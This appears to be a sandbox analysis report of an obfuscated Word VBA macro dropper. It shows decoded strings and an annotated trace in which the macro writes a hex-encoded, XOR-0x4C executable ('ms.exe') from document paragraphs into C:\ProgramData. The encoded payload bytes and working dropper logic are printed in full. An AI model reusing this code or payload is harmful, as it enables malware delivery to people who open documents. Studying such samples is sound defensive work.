F4C4C4CB034434C4CBC4C4C4C36434C4CF24C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0C623E2920232F4C4CE65F4C4C4C3C5C4C4C584C4C4C745C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0E4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C8B4DB8DD0C4CA5A55B4C4C808080808019C7A01AC7BD8B4AB8DD0C4CA49F5B4C4CBA09444D38451AA4C8574C4CCF8848C78A12118E484C8080808080808080801AC7BC1BCFB2483E57C1E8684C4C4C4CC74E774D395ECFA248CF8D48CF8E48CFB2483FA0C9BA380843FA4E43FA75678B397DCFB24D3A7943FA0E4D43FA354D678B396CCFB24E3A6843FA0E4E43FA354E678B3943CFB24F3A5F43FA0E4F43FA054F678D8DB45313CF844D128F137F8C128F80808080808080808080808080808019C7A026B32487C90C4C28ED4C4C4C4C1CCDA0044D4C4CED309C0C4C7F89C509BC1F1A1B1CC109B828EF4C4C4C4CC70940C7315C7F97244F4D4C4CC1C1A1B2B3B31F1DC5C9E0B2B3B3C5F1FCB2B3B3C4D1A0B2B3B3A4EA0A4C4CCF8840C1F9F8B2B3B3A4345E4C4CC1F99CB2B3B3C511B0A4765E4C4CF25C4C4C4C753C583E4EC74CC1D9A0B2B3B3679CC1D74C4C4C4CC644C4404E0C768739BA75F9A8B2B3B33E43C7D99CB2B3B31EA40F564C4CCF8848C78BC79BC6440C768739B5C1F1A0B2B3B3678E03C6034D0B768739B4C7848DA54EC7BEBFE9C784CFAD4FC1C9A0B2B3B3BFE88BC9A8B2B3B3434C4C4CC5D1ACB2B3B3C4D19CB2B3B3C11C4DC128684CC6440C768739B5678EC7B4C1C9A0B2B3B3C1F99CB2B3B3A4084E4C4CC7C99CB2B3B3F25C4C4C4C75F9A8B2B3B33F4AC1C99CB2B3B31CB35978DC0C4C75F9A8B2B3B33E43C7C99CB2B3B31CA4ED554C4CCF8848C7C1E0B2B3B3C7D9FCB2B3B31D1E1FB35948DC0C4C1F24CC4C4C4C264E1F264EC7BC244C4C4C0CC1C9A0B2B3B31CB3594CDC0C4CC7C1FCB2B3B31F1D1A1FC7B4B35958DC0C4C1C1A1FB35940DC0C4C1CB3596CDC0C4C1C1BB3595CDC0C4C1BB35964DC0C4CC7F988B2B3B3C78ACFB24D3E49F44D4C4C4CC7D9F8B2B3B3F35C4C4C4C75F184B2B3B33F4AC1D9F8B2B3B3F5E0FC0C4CA4DFB1B3B3778F395DCFB24D3E407F8CCFB24D43D98C778F385B26491F1FC1D9A0B2B3B31E24FCFC0C4C1FB35908A50C4C75F184B2B3B33E43C7C9F8B2B3B31CA488544C4CCF8848F44D4C4C4CC701B828C5414C4C4C4C15131217C701BC7F81A4B85F4C4CC7A9118F80808080808080808080808080808024DCFC0C4CB35950DC0C4CEF0CA50C4CC98C394A1CA41A574C4C24D0FC0C4C1CB35954DC0C4CCF7154DD0C4C4CEF08A50C4C394B264CA479574C4CA41C474C4C264C248C5C0C4C24F4FC0C4C264CB35968DC0C4CED0CA50C4C1CB35944DC0C4C8E5C4C808080808080808080808080801AC7BDC7841B8B0A58434C4C4C8B0A5C4C4C4C4C8A4A4CC1354DC1D74C4C4C4CC65D0DC89E39B56783C7B5A42C4C4C4C13C78A128F80808080808080808080801FC78D1AC13C4DC65C0CC89E39B5678AC73B5CC794C78A77BF3E4EC78FCF33585C3E48C75BA74EC79BA40EB0B3B3C98) -> 2136065
Mid
Part of subcall function o______XX16041118053@NewMacros: Environ
Part of subcall function o______XX16041118053@NewMacros: ChDrive

Strings	Decrypted Strings
"Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9"	"Vm0wd2VFNUdWWGhVYmxKWFlURndUMVpzWkc5V1ZteDBZM3BHVmsxWGVIbFdiVFZyVm0xS1IyTkliRmRXTTFKTVZsVmFWMVpWTVVWaGVqQTk="
"Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ=="	"Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVUm5kVlJscHpXa1pPV0ZKc2JETlhhMk0xVmpBeFYySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVlZ3VlZadGNFZFRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GZEZSTlZUVkpWbTEwVjFWdFNsWlhiR2hYWVd0YVRGVXhXbUZrUjA1R1UyMTRVMkpXU2twV2JURXdWakZXZEZOc1dsaGlSa3BZV1d4b2IyVnNVbFZTYlhSWFRWaENSbFpYZUZOVWJVcEdZMFZ3VjJKVVJYZFpla3BIWXpGT2RWVnNXbWxoTUhCWVYxZDRiMVV3TUhoV1dHaFlZbGhTV0ZSV2FFTlRiR3QzV2tSU1ZrMXJjRmhWTW5oelZqRmFObEZZYUZkU1JWcDZWbXBHVDJSV1VuUmpSbEpUVmxoQ1dWWXhaRFJpTVZWM1RVaG9WbUpzU25OVmFrSmhZMVpTVjFwR1RrNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="
"Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="	"Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0="
"Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1JsbDNXa1pPVmxKc2NIcFhhMk0xVmpGYWMySkVUbGhoTWsweFZtcEJlRmRIVmtWUmJVWlhWbXhzTTFadGNFSmxSbVJJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWVRGYU0xWnNXbXRXTVdSelYyMTRVMkpIZHpCV01uUnZWakpHUjFOdVVsWmlSa3BvVm1wT1UxbFdjRmhsUjBacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ=="	"Vm0wd2QyUXlWa2hWV0doVVYwZDRWRll3WkZOVlJscHpXa2M1VjFac2JETlhhMk0xVmpBeFdHVkVRbUZXVmxsM1ZtcEJlRmRIVmtsaVJtaG9UVmhDVVZkV1pEUlpWMDE0V2toR1VtSkdXbGhaYTFaM1ZsWmtWMWRzV214U2JHdzBWMnRvVjJGR1NuUlZiRkpoVmpOU1lWcFhlR0ZqTVZwMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001"

Line	Instruction	Meta Information
159	Sub RemoveParagraph()
160	Dim o______XX1199965413 as Integer	executed
161	Dim o______XX829861028 as Integer
162	Dim o______XX1604111805 as String
163	Dim o______XX160411180599 as String
164	Dim o______XX2233213199 as String
165	Dim o______XX1663264119 as Integer
166	Dim o______XX166326411999 as Integer
167	Dim o______XX824674320 as Paragraph
168	Dim o______XX2303725678 as Long
169	Dim o______XX2198577010 as Boolean
170	Dim o______XX3588826028 as Integer
171	Dim o______XX16041118051 as String
172	Dim o______XX1604111805199 as String
173	Dim o______XX1548724725 as Byte
174	Dim o______XX154872472599 as Byte
175	Dim o______XX4033650062 as String
176	Dim o______XX4222613394 as String
177	o______XX4222613394 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9")))))))))))	executed
178	o______XX4033650062 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ=="))))))))))))))	executed
179	Dim o______XX605319489 as String
180	o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))	Environ("ALLUSERSPROFILE") -> C:\ProgramData executed
182	If Len(dir(o______XX2233213199, vbDirectory)) = 0 Then	Len("") -> 0 dir vbDirectory executed
183	S1 (o______XX2233213199)
184	Else
185	Wipedir (o______XX2233213199)
186	S1 (o______XX2233213199)
187	Endif
189	o______XX1604111805 = sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WVll3WkRSV1JsbDNXa1pPVmxKc2NIcFhhMk0xVmpGYWMySkVUbGhoTWsweFZtcEJlRmRIVmtWUmJVWlhWbXhzTTFadGNFSmxSbVJJVm10c2FWSnRhRzlVVm1oRFZWWmtWMXBFVWxwV01ERTBWMnRvUjFWdFNrZFhiR2hhWVRGYU0xWnNXbXRXTVdSelYyMTRVMkpIZHpCV01uUnZWakpHUjFOdVVsWmlSa3BvVm1wT1UxbFdjRmhsUjBacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ==")))))))))))))	executed
190	ChDrive (o______XX2233213199)	ChDrive
191	S2 (o______XX2233213199)
192	o______XX1663264119 = FreeFile()	FreeFile
193	Open o______XX1604111805 For Binary As o______XX1663264119	Open("ms.exe") executed
194	o______XX829861028 = 0
195	For Each o______XX824674320 in ActiveDocument.Paragraphs	Paragraphs ActiveDocument
196	DoEvents	DoEvents
197	o______XX16041118051 = o______XX824674320.Range.Text	Range
198	o______XX2303725678 = 1
199	o______XX829861028 = o______XX829861028 + 1
200	If o______XX829861028 >= 24 Then
201	While (o______XX2303725678 < Len(o______XX16041118051))	Len("0116DC4C4F4C4C4C484C4C4CB3B34C4CF44C4C4C4C4C4C4C0C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4CA44C4C4C4253F6424CF845816DF44D00816D1824253F6C3C3E232B3E2D216C2F2D222223386C2E296C3E39226C25226C08031F6C2123282962414146684C4C4C4C4C4C4C0A81821D4EE0EC4E4EE0EC4E4EE0EC4E2196724E5EE0EC4E2196464E0AE0EC4E2196474E53E0EC4E47987F4E4BE0EC4E4EE0ED4E1AE0EC4E2196434E4DE0EC4E2196714E4FE0EC4E1E252F244EE0EC4E4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C1C094C4C004D494C8C7C5C024C4C4C4C4C4C4C4CAC4C4E4D474D464C4C364C4C4C82434C4C4C4C4C047E4C4C4C5C4C4C4CDC4C4C4C4C0C4C4C5C4C4C4C4E4C4C494C4D4C4C4C4C4C494C4D4C4C4C4C4C4CDC5C4C4C484C4C44165C4C4E4C0CCD4C4C5C4C4C5C4C4C4C4C5C4C4C5C4C4C4C4C4C4C5C4C4C4C4C4C4C4C4C4C4C4C48F74C4C704C4C4C4CBC4C4CB034434C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C3C5C4CA8454C4C2CDD4C4C504C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C04FE4C4C0C4C4C4C4C4C4C4C4C4C4C4C4CDC4C4C684D4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C62382934384C4C4C0E344C4C4C5C4C4C4C364C4C4C484C4C4C4C4C4C4C4C4C4C4C4C4C4C6C4C4C2C623E282D382D4C4CD27D4C4C4CDC4C4C4C7E4C4C4C324C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0C62282D382D4C4C4CC8564C4C4C9C4C4C4C424C4C4CFC4C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C8C623E3F3E2F4C4C4CB034434C4CBC4C4C4C36434C4CF24C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0C623E2920232F4C4CE65F4C4C4C3C5C4C4C584C4C4C745C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0E4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C8B4DB8DD0C4CA5A55B4C4C808080808019C7A01AC7BD8B4AB8DD0C4CA49F5B4C4CBA09444D38451AA4C8574C4CCF8848C78A12118E484C8080808080808080801AC7BC1BCFB2483E57C1E8684C4C4C4CC74E774D395ECFA248CF8D48CF8E48CFB2483FA0C9BA380843FA4E43FA75678B397DCFB24D3A7943FA0E4D43FA354D678B396CCFB24E3A6843FA0E4E43FA354E678B3943CFB24F3A5F43FA0E4F43FA054F678D8DB45313CF844D128F137F8C128F80808080808080808080808080808019C7A026B32487C90C4C28ED4C4C4C4C1CCDA0044D4C4CED309C0C4C7F89C509BC1F1A1B1CC109B828EF4C4C4C4CC70940C7315C7F97244F4D4C4CC1C1A1B2B3B31F1DC5C9E0B2B3B3C5F1FCB2B3B3C4D1A0B2B3B3A4EA0A4C4CCF8840C1F9F8B2B3B3A4345E4C4CC1F99CB2B3B3C511B0A4765E4C4CF25C4C4C4C753C583E4EC74CC1D9A0B2B3B3679CC1D74C4C4C4CC644C4404E0C768739BA75F9A8B2B3B33E43C7D99CB2B3B31EA40F564C4CCF8848C78BC79BC6440C768739B5C1F1A0B2B3B3678E03C6034D0B768739B4C7848DA54EC7BEBFE9C784CFAD4FC1C9A0B2B3B3BFE88BC9A8B2B3B3434C4C4CC5D1ACB2B3B3C4D19CB2B3B3C11C4DC128684CC6440C768739B5678EC7B4C1C9A0B2B3B3C1F99CB2B3B3A4084E4C4CC7C99CB2B3B3F25C4C4C4C75F9A8B2B3B33F4AC1C99CB2B3B31CB35978DC0C4C75F9A8B2B3B33E43C7C99CB2B3B31CA4ED554C4CCF8848C7C1E0B2B3B3C7D9FCB2B3B31D1E1FB35948DC0C4C1F24CC4C4C4C264E1F264EC7BC244C4C4C0CC1C9A0B2B3B31CB3594CDC0C4CC7C1FCB2B3B31F1D1A1FC7B4B35958DC0C4C1C1A1FB35940DC0C4C1CB3596CDC0C4C1C1BB3595CDC0C4C1BB35964DC0C4CC7F988B2B3B3C78ACFB24D3E49F44D4C4C4CC7D9F8B2B3B3F35C4C4C4C75F184B2B3B33F4AC1D9F8B2B3B3F5E0FC0C4CA4DFB1B3B3778F395DCFB24D3E407F8CCFB24D43D98C778F385B26491F1FC1D9A0B2B3B31E24FCFC0C4C1FB35908A50C4C75F184B2B3B33E43C7C9F8B2B3B31CA488544C4CCF8848F44D4C4C4CC701B828C5414C4C4C4C15131217C701BC7F81A4B85F4C4CC7A9118F80808080808080808080808080808024DCFC0C4CB35950DC0C4CEF0CA50C4CC98C394A1CA41A574C4C24D0FC0C4C1CB35954DC0C4CCF7154DD0C4C4CEF08A50C4C394B264CA479574C4CA41C474C4C264C248C5C0C4C24F4FC0C4C264CB35968DC0C4CED0CA50C4C1CB35944DC0C4C8E5C4C808080808080808080808080801AC7BDC7841B8B0A58434C4C4C8B0A5C4C4C4C4C8A4A4CC1354DC1D74C4C4C4CC65D0DC89E39B56783C7B5A42C4C4C4C13C78A128F80808080808080808080801FC78D1AC13C4DC65C0CC89E39B5678AC73B5CC794C78A77BF3E4EC78FCF33585C3E48C75BA74EC79BA40EB0B3B3C98) -> 2136065 executed
202	o______XX1548724725 = o______XX4222613394 & Mid(o______XX16041118051, o______XX2303725678, 2)	Mid
203	o______XX1548724725 = o______XX1548724725 Xor &H4C
204	Put # o______XX1663264119, , o______XX1548724725
205	o______XX2303725678 = o______XX2303725678 + 2
206	Wend	Len("0116DC4C4F4C4C4C484C4C4CB3B34C4CF44C4C4C4C4C4C4C0C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4CA44C4C4C4253F6424CF845816DF44D00816D1824253F6C3C3E232B3E2D216C2F2D222223386C2E296C3E39226C25226C08031F6C2123282962414146684C4C4C4C4C4C4C0A81821D4EE0EC4E4EE0EC4E4EE0EC4E2196724E5EE0EC4E2196464E0AE0EC4E2196474E53E0EC4E47987F4E4BE0EC4E4EE0ED4E1AE0EC4E2196434E4DE0EC4E2196714E4FE0EC4E1E252F244EE0EC4E4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C1C094C4C004D494C8C7C5C024C4C4C4C4C4C4C4CAC4C4E4D474D464C4C364C4C4C82434C4C4C4C4C047E4C4C4C5C4C4C4CDC4C4C4C4C0C4C4C5C4C4C4C4E4C4C494C4D4C4C4C4C4C494C4D4C4C4C4C4C4CDC5C4C4C484C4C44165C4C4E4C0CCD4C4C5C4C4C5C4C4C4C4C5C4C4C5C4C4C4C4C4C4C5C4C4C4C4C4C4C4C4C4C4C4C48F74C4C704C4C4C4CBC4C4CB034434C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C3C5C4CA8454C4C2CDD4C4C504C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C04FE4C4C0C4C4C4C4C4C4C4C4C4C4C4C4CDC4C4C684D4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C62382934384C4C4C0E344C4C4C5C4C4C4C364C4C4C484C4C4C4C4C4C4C4C4C4C4C4C4C4C6C4C4C2C623E282D382D4C4CD27D4C4C4CDC4C4C4C7E4C4C4C324C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0C62282D382D4C4C4CC8564C4C4C9C4C4C4C424C4C4CFC4C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C8C623E3F3E2F4C4C4CB034434C4CBC4C4C4C36434C4CF24C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0C623E2920232F4C4CE65F4C4C4C3C5C4C4C584C4C4C745C4C4C4C4C4C4C4C4C4C4C4C4C4C0C4C4C0E4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C4C8B4DB8DD0C4CA5A55B4C4C808080808019C7A01AC7BD8B4AB8DD0C4CA49F5B4C4CBA09444D38451AA4C8574C4CCF8848C78A12118E484C8080808080808080801AC7BC1BCFB2483E57C1E8684C4C4C4CC74E774D395ECFA248CF8D48CF8E48CFB2483FA0C9BA380843FA4E43FA75678B397DCFB24D3A7943FA0E4D43FA354D678B396CCFB24E3A6843FA0E4E43FA354E678B3943CFB24F3A5F43FA0E4F43FA054F678D8DB45313CF844D128F137F8C128F80808080808080808080808080808019C7A026B32487C90C4C28ED4C4C4C4C1CCDA0044D4C4CED309C0C4C7F89C509BC1F1A1B1CC109B828EF4C4C4C4CC70940C7315C7F97244F4D4C4CC1C1A1B2B3B31F1DC5C9E0B2B3B3C5F1FCB2B3B3C4D1A0B2B3B3A4EA0A4C4CCF8840C1F9F8B2B3B3A4345E4C4CC1F99CB2B3B3C511B0A4765E4C4CF25C4C4C4C753C583E4EC74CC1D9A0B2B3B3679CC1D74C4C4C4CC644C4404E0C768739BA75F9A8B2B3B33E43C7D99CB2B3B31EA40F564C4CCF8848C78BC79BC6440C768739B5C1F1A0B2B3B3678E03C6034D0B768739B4C7848DA54EC7BEBFE9C784CFAD4FC1C9A0B2B3B3BFE88BC9A8B2B3B3434C4C4CC5D1ACB2B3B3C4D19CB2B3B3C11C4DC128684CC6440C768739B5678EC7B4C1C9A0B2B3B3C1F99CB2B3B3A4084E4C4CC7C99CB2B3B3F25C4C4C4C75F9A8B2B3B33F4AC1C99CB2B3B31CB35978DC0C4C75F9A8B2B3B33E43C7C99CB2B3B31CA4ED554C4CCF8848C7C1E0B2B3B3C7D9FCB2B3B31D1E1FB35948DC0C4C1F24CC4C4C4C264E1F264EC7BC244C4C4C0CC1C9A0B2B3B31CB3594CDC0C4CC7C1FCB2B3B31F1D1A1FC7B4B35958DC0C4C1C1A1FB35940DC0C4C1CB3596CDC0C4C1C1BB3595CDC0C4C1BB35964DC0C4CC7F988B2B3B3C78ACFB24D3E49F44D4C4C4CC7D9F8B2B3B3F35C4C4C4C75F184B2B3B33F4AC1D9F8B2B3B3F5E0FC0C4CA4DFB1B3B3778F395DCFB24D3E407F8CCFB24D43D98C778F385B26491F1FC1D9A0B2B3B31E24FCFC0C4C1FB35908A50C4C75F184B2B3B33E43C7C9F8B2B3B31CA488544C4CCF8848F44D4C4C4CC701B828C5414C4C4C4C15131217C701BC7F81A4B85F4C4CC7A9118F80808080808080808080808080808024DCFC0C4CB35950DC0C4CEF0CA50C4CC98C394A1CA41A574C4C24D0FC0C4C1CB35954DC0C4CCF7154DD0C4C4CEF08A50C4C394B264CA479574C4CA41C474C4C264C248C5C0C